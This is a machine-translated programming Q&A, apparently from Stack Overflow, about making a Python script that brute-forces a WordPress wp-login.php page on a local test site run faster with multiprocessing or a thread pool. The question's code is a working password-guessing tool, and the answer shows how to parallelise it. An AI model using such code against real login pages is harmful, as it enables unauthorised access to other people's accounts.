如果没有多处理,我的代码会在8秒内强行使用我的测试站点(4个登录\ 100个密码)。
使用multiprocessing
代替了115秒。
import requests
import multiprocessing
import itertools
from concurrent.futures import ThreadPoolExecutor
def main(user, password):
url = 'http://192.168.1.6/wp-login.php'
payload = {'log': user, 'pwd': password}
r = requests.post(url, data=payload)
if ("/wp-admin/" in r.url):
print("[+] {}/{}".format(user, password))
else:
print("[-] {}/{}".format(user, password))
if __name__ == '__main__':
users = get_usernames()
passwords = get_passwords()
with ThreadPoolExecutor(max_workers=4) as pool:
for user, password in itertools.product(users, passwords):
pool.submit(main, user, password)
答案 0 :(得分:3)
注意:进程是输入/输出相关加速的错误工具。请参阅this discussion。
您在循环内加入了进程,因此代码完全是串行的(每个进程在创建下一个进程之前完成)。您需要将join
移动到单独的循环中。
processes = []
for user, password in itertools.product(users, passwords):
p = multiprocessing.Process(target=main, args=(user, password))
processes.append(p)
p.start()
for p in processes:
p.join()
要让multiprocessing
模块为您处理此问题,请查看使用pool而不是手动创建进程。但是,如上所述,您可能需要一个线程池,而不是一个进程池,在这种情况下,您应该看here。
根据要求,使用池的示例:
from concurrent.futures import ThreadPoolExecutor
import itertools
def foo(a, b):
print(a, b)
if __name__ == '__main__':
names = ['jim', 'john', 'jill', 'jen']
passwords = ['1', '2', '3', '4', '5', '6']
with ThreadPoolExecutor(max_workers = 4) as pool:
for name, password in itertools.product(names, passwords):
pool.submit(foo, name, password)